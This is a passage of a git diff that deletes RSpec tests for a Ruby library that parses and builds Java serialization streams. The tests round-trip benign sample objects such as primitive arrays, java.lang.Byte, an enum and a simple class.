be_a(Rex::Java::Serialization::Model::Field) - end - - it "deserializes field type" do - field.decode(sample_object_io) - expect(field.type).to eq('array') - end - - it "deserializes field name" do - field.decode(sample_object_io) - expect(field.name.contents).to eq('test_array') - end - - it "deserializes field_type string" do - field.decode(sample_object_io) - expect(field.field_type.contents).to eq('[LEmployee;') - end - end - end - - describe "#to_s" do - it "prints an stream containing a primitive field" do - field.decode(sample_primitive_io) - expect(field.to_s).to eq('number (int)') - end - - it "prints an stream containing an object field" do - field.decode(sample_object_io) - expect(field.to_s).to eq('test_array ([LEmployee;)') - end - end -end \ No newline at end of file diff --git a/spec/lib/rex/java/serialization/model/long_utf_spec.rb b/spec/lib/rex/java/serialization/model/long_utf_spec.rb deleted file mode 100644 index cd2891aabc..0000000000 --- a/spec/lib/rex/java/serialization/model/long_utf_spec.rb +++ /dev/null @@ -1,107 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/java' -require 'stringio' - -RSpec.describe Rex::Java::Serialization::Model::LongUtf do - subject(:long_utf) do - described_class.new - end - - let(:sample_utf) { "\x00\x00\x00\x00\x00\x00\x00\x10java.lang.Number" } - let(:sample_utf_io) { StringIO.new(sample_utf) } - let(:empty_utf) { "\x00\x00\x00\x00\x00\x00\x00\x00" } - let(:empty_utf_io) { StringIO.new(empty_utf) } - let(:incomplete_utf) { "\x00\x00\x00\x00\x00\x00\x00\x10java.lang.Numb" } - let(:incomplete_utf_io) { StringIO.new(incomplete_utf) } - let(:empty_io) { StringIO.new('') } - - describe ".new" do - it "Rex::Java::Serialization::Model::LongUtf" do - expect(long_utf).to be_a(Rex::Java::Serialization::Model::LongUtf) - end - - it "initializes length to 0" do - expect(long_utf.length).to eq(0) - end - - it "initializes contents with empty string" do - expect(long_utf.contents).to be_empty - end - end - - describe "#encode" do - context "when empty long_utf" do - it { expect(long_utf.encode).to eq(empty_utf) } - end - - context "when filled utf" do - it do - long_utf.length = 16 - long_utf.contents = 'java.lang.Number' - expect(long_utf.encode).to eq(sample_utf) - end - end - end - - describe "#decode" do - context "when stream contains empty string" do - it "raises Rex::Java::Serialization::DecodeError" do - expect { long_utf.decode(empty_io) }.to raise_error(Rex::Java::Serialization::DecodeError) - end - end - - context "when stream contains empty long_utf" do - it "returns a Rex::Java::Serialization::Model::LongUtf" do - expect(long_utf.decode(empty_utf_io)).to be_a(Rex::Java::Serialization::Model::LongUtf) - end - - it "sets length to 0" do - long_utf.decode(empty_utf_io) - expect(long_utf.length).to eq(0) - end - - it "sets contents to empty string" do - long_utf.decode(empty_utf_io) - expect(long_utf.contents).to be_empty - end - end - - context "when stream contains incomplete long_utf" do - it "returns nil" do - expect { long_utf.decode(incomplete_utf_io) }.to raise_error(Rex::Java::Serialization::DecodeError) - end - end - - context "when stream contains correct long_utf" do - - it "returns a Rex::Java::Serialization::Model::LongUtf" do - expect(long_utf.decode(sample_utf_io)).to be_a(Rex::Java::Serialization::Model::LongUtf) - end - - it "sets length to 0" do - long_utf.decode(sample_utf_io) - expect(long_utf.length).to eq(16) - end - - it "sets contents to sample string" do - long_utf.decode(sample_utf_io) - expect(long_utf.contents).to eq('java.lang.Number') - end - end - - describe "#to_s" do - it "prints an stream containing a sample long utf" do - long_utf.decode(sample_utf_io) - expect(long_utf.to_s).to eq('java.lang.Number') - end - - it "prints an stream containing an empty long utf" do - long_utf.decode(empty_utf_io) - expect(long_utf.to_s).to eq('') - end - end - end - -end \ No newline at end of file diff --git a/spec/lib/rex/java/serialization/model/new_array_spec.rb b/spec/lib/rex/java/serialization/model/new_array_spec.rb deleted file mode 100644 index 16d1c28059..0000000000 --- a/spec/lib/rex/java/serialization/model/new_array_spec.rb +++ /dev/null @@ -1,469 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/java' -require 'stringio' - -RSpec.describe Rex::Java::Serialization::Model::NewArray do - subject(:new_array) do - described_class.new - end - - let(:boolean_array) do - "\x72\x00\x02\x5b\x5a\x57\x8f\x20" + - "\x39\x14\xb8\x5d\xe2\x02\x00\x00" + - "\x78\x70\x00\x00\x00\x0a\x01\x00" + - "\x01\x01\x01\x01\x01\x01\x01\x00" - end - let(:boolean_array_io) { StringIO.new(boolean_array) } - - let(:byte_array) do - "\x72\x00\x02\x5b\x42\xac\xf3\x17" + - "\xf8\x06\x08\x54\xe0\x02\x00\x00" + - "\x78\x70\x00\x00\x00\x02\xec\x41" - end - let(:byte_array_io) { StringIO.new(byte_array) } - - let(:char_array) do - "\x72\x00\x02\x5b\x43\xb0\x26\x66" + - "\xb0\xe2\x5d\x84\xac\x02\x00\x00" + - "\x78\x70\x00\x00\x00\x02\x00\x61" + - "\x00\x62" - end - let(:char_array_io) { StringIO.new(char_array) } - - let(:short_array) do - "\x72\x00\x02\x5b\x53\xef\x83\x2e" + - "\x06\xe5\x5d\xb0\xfa\x02\x00\x00" + - "\x78\x70\x00\x00\x00\x02\xff\xec" + - "\x00\x41" - end - let(:short_array_io) { StringIO.new(short_array) } - - let(:double_array) do - "\x72\x00\x02\x5b\x44\x3e\xa6\x8c" + - "\x14\xab\x63\x5a\x1e\x02\x00\x00" + - "\x78\x70\x00\x00\x00\x02\x3f\xd0" + - "\x00\x00\x00\x00\x00\x00\x3f\xca" + - "\xe1\x47\xae\x14\x7a\xe1" - end - let(:double_array_io) { StringIO.new(double_array) } - - let(:float_array) do - "\x72\x00\x02\x5b\x46\x0b\x9c\x81" + - "\x89\x22\xe0\x0c\x42\x02\x00\x00" + - "\x78\x70\x00\x00\x00\x02\x3f\x80" + - "\x00\x00\x40\x00\x00\x00" - end - let(:float_array_io) { StringIO.new(float_array) } - - let(:int_array) do - "\x72\x00\x02\x5b\x49\x4d\xba\x60" + - "\x26\x76\xea\xb2\xa5\x02\x00\x00" + - "\x78\x70\x00\x00\x00\x02\xff\xff" + - "\xff\xec\x00\x00\x00\x41" - end - let(:int_array_io) { StringIO.new(int_array) } - - let(:long_array) do - "\x72\x00\x02\x5b\x4a\x78\x20\x04" + - "\xb5\x12\xb1\x75\x93\x02\x00\x00" + - "\x78\x70\x00\x00\x00\x02\xff\xff" + - "\xff\xff\xff\xff\xff\xec\x00\x00" + - "\x00\x00\x00\x00\x00\x41" - end - let(:long_array_io) { StringIO.new(long_array) } - - let(:string_array) do - "\x72\x00\x13\x5b\x4c\x6a\x61\x76" + - "\x61\x2e\x6c\x61\x6e\x67\x2e\x53" + - "\x74\x72\x69\x6e\x67\x3b\xad\xd2" + - "\x56\xe7\xe9\x1d\x7b\x47\x02\x00" + - "\x00\x78\x70\x00\x00\x00\x01\x74" + - "\x00\x03\x6d\x73\x66" - end - let(:string_array_io) { StringIO.new(string_array) } - - describe ".new" do - it "Rex::Java::Serialization::Model::NewArray" do - expect(new_array).to be_a(Rex::Java::Serialization::Model::NewArray) - end - - it "initializes array_description with nil" do - expect(new_array.array_description).to be_nil - end - - it "initializes type with an empty String" do - expect(new_array.type).to be_empty - end - - it "initializes values with an empty Array" do - expect(new_array.values).to be_empty - end - end - - describe "#decode" do - - context "when boolean Array" do - it "deserializes Array" do - expect(new_array.decode(boolean_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray) - end - - it "deserializes type correctly" do - new_array.decode(boolean_array_io) - expect(new_array.type).to eq('boolean') - end - - it "deserializes values correctly" do - new_array.decode(boolean_array_io) - expect(new_array.values).to eq([1, 0, 1, 1, 1, 1, 1, 1, 1, 0]) - end - end - - context "when byte Array" do - it "deserializes Array" do - expect(new_array.decode(byte_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray) - end - - it "deserializes type correctly" do - new_array.decode(byte_array_io) - expect(new_array.type).to eq('byte') - end - - it "deserializes values correctly" do - new_array.decode(byte_array_io) - expect(new_array.values).to eq([-20, 65]) - end - end - - context "when char Array" do - it "deserializes Array" do - expect(new_array.decode(char_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray) - end - - it "deserializes type correctly" do - new_array.decode(char_array_io) - expect(new_array.type).to eq('char') - end - - it "deserializes values correctly" do - new_array.decode(char_array_io) - expect(new_array.values).to eq([97, 98]) - end - end - - context "when short Array" do - it "deserializes Array" do - expect(new_array.decode(short_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray) - end - - it "deserializes type correctly" do - new_array.decode(short_array_io) - expect(new_array.type).to eq('short') - end - - it "deserializes values correctly" do - new_array.decode(short_array_io) - expect(new_array.values).to eq([-20, 65]) - end - end - - context "when double Array" do - it "deserializes Array" do - expect(new_array.decode(double_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray) - end - - it "deserializes type correctly" do - new_array.decode(double_array_io) - expect(new_array.type).to eq('double') - end - - it "deserializes values correctly" do - new_array.decode(double_array_io) - expect(new_array.values).to eq([0.25, 0.21]) - end - end - - context "when float Array" do - it "deserializes a float Array" do - expect(new_array.decode(float_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray) - end - - it "deserializes type correctly" do - new_array.decode(float_array_io) - expect(new_array.type).to eq('float') - end - - it "deserializes values correctly" do - new_array.decode(float_array_io) - expect(new_array.values).to eq([1.0, 2.0]) - end - end - - context "when int Array" do - it "deserializes Array" do - expect(new_array.decode(int_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray) - end - - it "deserializes type correctly" do - new_array.decode(int_array_io) - expect(new_array.type).to eq('int') - end - - it "deserializes values correctly" do - new_array.decode(int_array_io) - expect(new_array.values).to eq([-20, 65]) - end - end - - context "when long Array" do - it "deserializes Array" do - expect(new_array.decode(long_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray) - end - - it "deserializes type correctly" do - new_array.decode(long_array_io) - expect(new_array.type).to eq('long') - end - - it "deserializes values correctly" do - new_array.decode(long_array_io) - expect(new_array.values).to eq([-20, 65]) - end - end - - context "when Strings (Objects) array" do - it "deserializes the array" do - expect(new_array.decode(string_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray) - end - - it "deserializes type correctly" do - new_array.decode(string_array_io) - expect(new_array.type).to eq('java.lang.String;') - end - - it "deserializes number of members correctly" do - new_array.decode(string_array_io) - expect(new_array.values.length).to eq(1) - end - - it "deserializes the members correctly" do - new_array.decode(string_array_io) - expect(new_array.values[0].contents).to eq('msf') - end - end - - end - - describe "#encode" do - it "serializes a boolean Array" do - new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Z') - new_class_desc.serial_version = 0x578f203914b85de2 - new_class_desc.flags = 2 - new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new - new_array.array_description.description = new_class_desc - new_array.type = 'boolean' - new_array.values = [1, 0, 1, 1, 1, 1, 1, 1, 1, 0] - - expect(new_array.encode.unpack("C*")).to eq(boolean_array.unpack("C*")) - end - - it "serializes a byte Array" do - new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[B') - new_class_desc.serial_version = 0xacf317f8060854e0 - new_class_desc.flags = 2 - new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new - new_array.array_description.description = new_class_desc - new_array.type = 'byte' - new_array.values = [-20, 65] - - expect(new_array.encode.unpack("C*")).to eq(byte_array.unpack("C*")) - end - - it "serializes a char Array" do - new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[C') - new_class_desc.serial_version = 0xb02666b0e25d84ac - new_class_desc.flags = 2 - new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new - new_array.array_description.description = new_class_desc - new_array.type = 'char' - new_array.values = [97, 98] - - expect(new_array.encode.unpack("C*")).to eq(char_array.unpack("C*")) - end - - it "serializes a short Array" do - new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[S') - new_class_desc.serial_version = 0xef832e06e55db0fa - new_class_desc.flags = 2 - new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new - new_array.array_description.description = new_class_desc - new_array.type = 'short' - new_array.values = [-20, 65] - - expect(new_array.encode.unpack("C*")).to eq(short_array.unpack("C*")) - end - - it "serializes a double Array" do - new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[D') - new_class_desc.serial_version = 0x3ea68c14ab635a1e - new_class_desc.flags = 2 - new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new - new_array.array_description.description = new_class_desc - new_array.type = 'double' - new_array.values = [0.25, 0.21] - - expect(new_array.encode.unpack("C*")).to eq(double_array.unpack("C*")) - end - - it "serializes a float Array" do - new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[F') - new_class_desc.serial_version = 0xb9c818922e00c42 - new_class_desc.flags = 2 - new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new - new_array.array_description.description = new_class_desc - new_array.type = 'float' - new_array.values = [1.0, 2.0] - - expect(new_array.encode.unpack("C*")).to eq(float_array.unpack("C*")) - end - - it "serializes a int Array" do - new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[I') - new_class_desc.serial_version = 0x4dba602676eab2a5 - new_class_desc.flags = 2 - new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new - new_array.array_description.description = new_class_desc - new_array.type = 'int' - new_array.values = [-20, 65] - - expect(new_array.encode.unpack("C*")).to eq(int_array.unpack("C*")) - end - - it "serializes a long Array" do - new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[J') - new_class_desc.serial_version = 0x782004b512b17593 - new_class_desc.flags = 2 - new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new - new_array.array_description.description = new_class_desc - new_array.type = 'long' - new_array.values = [-20, 65] - - expect(new_array.encode.unpack("C*")).to eq(long_array.unpack("C*")) - end - - it "serializes a String (Objects) Array" do - new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.lang.String;') - new_class_desc.serial_version = 0xadd256e7e91d7b47 - new_class_desc.flags = 2 - new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new - new_array.array_description.description = new_class_desc - new_array.type = 'java.lang.String;' - new_array.values = [ Rex::Java::Serialization::Model::Utf.new(nil, 'msf') ] - - expect(new_array.encode.unpack("C*")).to eq(string_array.unpack("C*")) - end - end - - describe "#to_s" do - it "prints a boolean array stream" do - new_array.decode(boolean_array_io) - expect(new_array.to_s).to eq('boolean, ["1", "0", "1", "1", "1", "1", "1", "1", "1", "0"]') - end - - it "prints a byte array stream" do - new_array.decode(byte_array_io) - expect(new_array.to_s).to eq('byte, ["-20", "65"]') - end - - it "prints a char array stream" do - new_array.decode(char_array_io) - expect(new_array.to_s).to eq('char, ["97", "98"]') - end - - it "prints a short array stream" do - new_array.decode(short_array_io) - expect(new_array.to_s).to eq('short, ["-20", "65"]') - end - - it "prints a double array stream" do - new_array.decode(double_array_io) - expect(new_array.to_s).to eq('double, ["0.25", "0.21"]') - end - - it "prints a float array stream" do - new_array.decode(float_array_io) - expect(new_array.to_s).to eq('float, ["1.0", "2.0"]') - end - - it "prints a int array stream" do - new_array.decode(int_array_io) - expect(new_array.to_s).to eq('int, ["-20", "65"]') - end - - it "prints a long array stream" do - new_array.decode(long_array_io) - expect(new_array.to_s).to eq('long, ["-20", "65"]') - end - - it "prints a string array stream" do - new_array.decode(string_array_io) - expect(new_array.to_s).to eq('java.lang.String;, ["msf"]') - end - end - -end \ No newline at end of file diff --git a/spec/lib/rex/java/serialization/model/new_class_desc_spec.rb b/spec/lib/rex/java/serialization/model/new_class_desc_spec.rb deleted file mode 100644 index f3b5180d4c..0000000000 --- a/spec/lib/rex/java/serialization/model/new_class_desc_spec.rb +++ /dev/null @@ -1,143 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/java' -require 'stringio' - -RSpec.describe Rex::Java::Serialization::Model::NewClassDesc do - subject(:class_desc_new) do - described_class.new - end - - let(:sample) do - "\x00\x0e\x6a\x61\x76\x61\x2e\x6c\x61\x6e" + - "\x67\x2e\x42\x79\x74\x65\x9c\x4e\x60\x84\xee\x50\xf5\x1c\x02\x00" + - "\x01\x42\x00\x05\x76\x61\x6c\x75\x65\x78\x72\x00\x10\x6a\x61\x76" + - "\x61\x2e\x6c\x61\x6e\x67\x2e\x4e\x75\x6d\x62\x65\x72\x86\xac\x95" + - "\x1d\x0b\x94\xe0\x8b\x02\x00\x00\x78\x70" - end - - let(:sample_io) { StringIO.new(sample) } - - describe ".new" do - it "Rex::Java::Serialization::Model::NewClassDesc" do - expect(class_desc_new).to be_a(Rex::Java::Serialization::Model::NewClassDesc) - end - - it "initializes class_name with nil" do - expect(class_desc_new.class_name).to be_nil - end - - it "initializes serial_version with 0" do - expect(class_desc_new.serial_version).to eq(0) - end - - it "initializes flags with 0" do - expect(class_desc_new.flags).to eq(0) - end - - it "initializes fields with empty Array" do - expect(class_desc_new.fields).to be_empty - end - - it "initializes class_annotation with nil" do - expect(class_desc_new.class_annotation).to be_nil - end - - it "initializes super_class with nil" do - expect(class_desc_new.super_class).to be_nil - end - end - - describe "#decode" do - it "returns a Rex::Java::Serialization::Model::NewClassDesc" do - expect(class_desc_new.decode(sample_io)).to be_a(Rex::Java::Serialization::Model::NewClassDesc) - end - - it "deserializes class_name as Utf" do - class_desc_new.decode(sample_io) - expect(class_desc_new.class_name).to be_a(Rex::Java::Serialization::Model::Utf) - end - - it "deserializes class_name contents correctly" do - class_desc_new.decode(sample_io) - expect(class_desc_new.class_name.contents).to eq('java.lang.Byte') - end - - it "deserializes serial_version correctly" do - class_desc_new.decode(sample_io) - expect(class_desc_new.serial_version).to eq(0x9c4e6084ee50f51c) - end - - it "deserializes flags correctly" do - class_desc_new.decode(sample_io) - expect(class_desc_new.flags).to eq(2) - end - - it "deserializes fields" do - class_desc_new.decode(sample_io) - expect(class_desc_new.fields.length).to eq(1) - end - - it "deserializes fields contents correctly" do - class_desc_new.decode(sample_io) - expect(class_desc_new.fields[0].type).to eq('byte') - end - - it "deserializes class annotation correctly" do - class_desc_new.decode(sample_io) - expect(class_desc_new.class_annotation).to be_a(Rex::Java::Serialization::Model::Annotation) - end - - it "deserializes class annotation contents" do - class_desc_new.decode(sample_io) - expect(class_desc_new.class_annotation.contents[0]).to be_a(Rex::Java::Serialization::Model::EndBlockData) - end - - it "deserializes super_class" do - class_desc_new.decode(sample_io) - expect(class_desc_new.super_class).to be_a(Rex::Java::Serialization::Model::ClassDesc) - end - - it "deserializes super class description" do - class_desc_new.decode(sample_io) - expect(class_desc_new.super_class.description).to be_a(Rex::Java::Serialization::Model::NewClassDesc) - end - end - - describe "#encode" do - it "serializes a NewClassDesc" do - super_class_desc_new = Rex::Java::Serialization::Model::NewClassDesc.new - super_class_desc_new.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.Number') - super_class_desc_new.serial_version = 0x86ac951d0b94e08b - super_class_desc_new.flags = 2 - super_class_desc_new.class_annotation = Rex::Java::Serialization::Model::Annotation.new - super_class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - super_class_desc_new.super_class = Rex::Java::Serialization::Model::ClassDesc.new - super_class_desc_new.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - super_class_desc = Rex::Java::Serialization::Model::ClassDesc.new - super_class_desc.description = super_class_desc_new - - class_desc_new.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.Byte') - class_desc_new.serial_version = 0x9c4e6084ee50f51c - class_desc_new.flags = 2 - field = Rex::Java::Serialization::Model::Field.new - field.type = 'byte' - field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'value') - class_desc_new.fields << field - class_desc_new.class_annotation = Rex::Java::Serialization::Model::Annotation.new - class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - class_desc_new.super_class = super_class_desc - - expect(class_desc_new.encode.unpack("C*")).to eq(sample.unpack("C*")) - end - end - - describe "#to_s" do - it "prints a sample NewClassDesc stream" do - class_desc_new.decode(sample_io) - expect(class_desc_new.to_s).to eq('java.lang.Byte, [ value (byte) ], @super_class: java.lang.Number') - end - end -end \ No newline at end of file diff --git a/spec/lib/rex/java/serialization/model/new_enum_spec.rb b/spec/lib/rex/java/serialization/model/new_enum_spec.rb deleted file mode 100644 index fd91348cc8..0000000000 --- a/spec/lib/rex/java/serialization/model/new_enum_spec.rb +++ /dev/null @@ -1,83 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/java' -require 'stringio' - -RSpec.describe Rex::Java::Serialization::Model::NewEnum do - - subject(:new_enum) do - described_class.new - end - - let(:sample_enum) do - "\x72\x00\x09\x45\x6e\x75\x6d\x73" + - "\x24\x44\x61\x79\x00\x00\x00\x00" + - "\x00\x00\x00\x00\x12\x00\x00\x78" + - "\x72\x00\x0e\x6a\x61\x76\x61\x2e" + - "\x6c\x61\x6e\x67\x2e\x45\x6e\x75" + - "\x6d\x00\x00\x00\x00\x00\x00\x00" + - "\x00\x12\x00\x00\x78\x70\x74\x00" + - "\x06\x53\x55\x4e\x44\x41\x59" - end - - let(:sample_enum_io) { StringIO.new(sample_enum) } - - describe ".new" do - it "Rex::Java::Serialization::Model::NewEnum" do - expect(new_enum).to be_a(Rex::Java::Serialization::Model::NewEnum) - end - - it "initializes enum_description with nil" do - expect(new_enum.enum_description).to be_nil - end - - it "initializes constant_name with nil" do - expect(new_enum.constant_name).to be_nil - end - end - - describe "#decode" do - it "deserializes an Enum" do - expect(new_enum.decode(sample_enum_io)).to be_a(Rex::Java::Serialization::Model::NewEnum) - end - - it "deserializes the constant_name correctly" do - new_enum.decode(sample_enum_io) - expect(new_enum.constant_name.contents).to eq('SUNDAY') - end - end - - describe "#encode" do - it "serializes an Enum" do - new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'Enums$Day') - new_class_desc.serial_version = 0 - new_class_desc.flags = 18 - new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_class_desc.super_class.description = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.super_class.description.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.Enum') - new_class_desc.super_class.description.serial_version = 0 - new_class_desc.super_class.description.flags = 18 - new_class_desc.super_class.description.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_class_desc.super_class.description.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - new_class_desc.super_class.description.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_class_desc.super_class.description.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - new_enum.enum_description = Rex::Java::Serialization::Model::ClassDesc.new - new_enum.enum_description.description = new_class_desc - new_enum.constant_name = Rex::Java::Serialization::Model::Utf.new(nil, 'SUNDAY') - - expect(new_enum.encode.unpack("C*")).to eq(sample_enum.unpack("C*")) - end - end - - describe "#to_s" do - it "prints a sample NewEnum stream" do - new_enum.decode(sample_enum_io) - expect(new_enum.to_s).to eq('SUNDAY') - end - end -end \ No newline at end of file diff --git a/spec/lib/rex/java/serialization/model/new_object_spec.rb b/spec/lib/rex/java/serialization/model/new_object_spec.rb deleted file mode 100644 index 5fc99e8216..0000000000 --- a/spec/lib/rex/java/serialization/model/new_object_spec.rb +++ /dev/null @@ -1,82 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/java' -require 'stringio' - -RSpec.describe Rex::Java::Serialization::Model::NewObject do - - subject(:new_object) do - described_class.new - end - - let(:easy_object) do - "\x72\x00\x04\x45\x61\x73\x79\x74" + - "\x1d\xe1\xbc\xbb\x2f\xcb\xaa\x02" + - "\x00\x01\x49\x00\x03\x53\x53\x4e" + - "\x78\x70\x41\x42\x43\x44" - end - - let(:easy_object_io) { StringIO.new(easy_object) } - - describe ".new" do - it "Rex::Java::Serialization::Model::NewObject" do - expect(new_object).to be_a(Rex::Java::Serialization::Model::NewObject) - end - - it "initializes class_desc with nil" do - expect(new_object.class_desc).to be_nil - end - - it "initializes class_data with empty array" do - expect(new_object.class_data).to be_empty - end - end - - describe "#decode" do - it "deserializes an object" do - expect(new_object.decode(easy_object_io)).to be_a(Rex::Java::Serialization::Model::NewObject) - end - - it "deserializes the object class fields correctly" do - new_object.decode(easy_object_io) - expect(new_object.class_desc.description.fields.length).to eq(1) - end - - it "deserializes the object class data correctly" do - new_object.decode(easy_object_io) - expect(new_object.class_data).to eq([['int', 0x41424344]]) - end - end - - - describe "#encode" do - it "serializes an Object" do - new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'Easy') - new_class_desc.serial_version = 0x741de1bcbb2fcbaa - new_class_desc.flags = 2 - field = Rex::Java::Serialization::Model::Field.new - field.type = 'int' - field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'SSN') - new_class_desc.fields << field - new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new - new_object.class_desc.description = new_class_desc - new_object.class_data = [['int', 0x41424344]] - - expect(new_object.encode.unpack("C*")).to eq(easy_object.unpack("C*")) - end - end - - describe "#to_s" do - it "prints a sample Object stream" do - new_object.decode(easy_object_io) - expect(new_object.to_s).to eq('Easy => { ["int", 1094861636] }') - end - end -end \ No newline at end of file diff --git a/spec/lib/rex/java/serialization/model/proxy_class_desc_spec.rb b/spec/lib/rex/java/serialization/model/proxy_class_desc_spec.rb deleted file mode 100644 index 380d92a9af..0000000000 --- a/spec/lib/rex/java/serialization/model/proxy_class_desc_spec.rb +++ /dev/null @@ -1,115 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/java' -require 'stringio' - -RSpec.describe Rex::Java::Serialization::Model::ProxyClassDesc do - subject(:proxy_class_desc) do - described_class.new - end - - let(:sample) do - "\x00\x00\x00\x01\x00\x13\x65\x78\x61\x6d\x70\x6c\x65\x2e\x68\x65" + - "\x6c\x6c\x6f\x2e\x48\x65\x6c\x6c\x6f\x70\x78\x72\x00\x17\x6a\x61" + - "\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x72\x65\x66\x6c\x65\x63\x74\x2e" + - "\x50\x72\x6f\x78\x79\xe1\x27\xda\x20\xcc\x10\x43\xcb\x02\x00\x01" + - 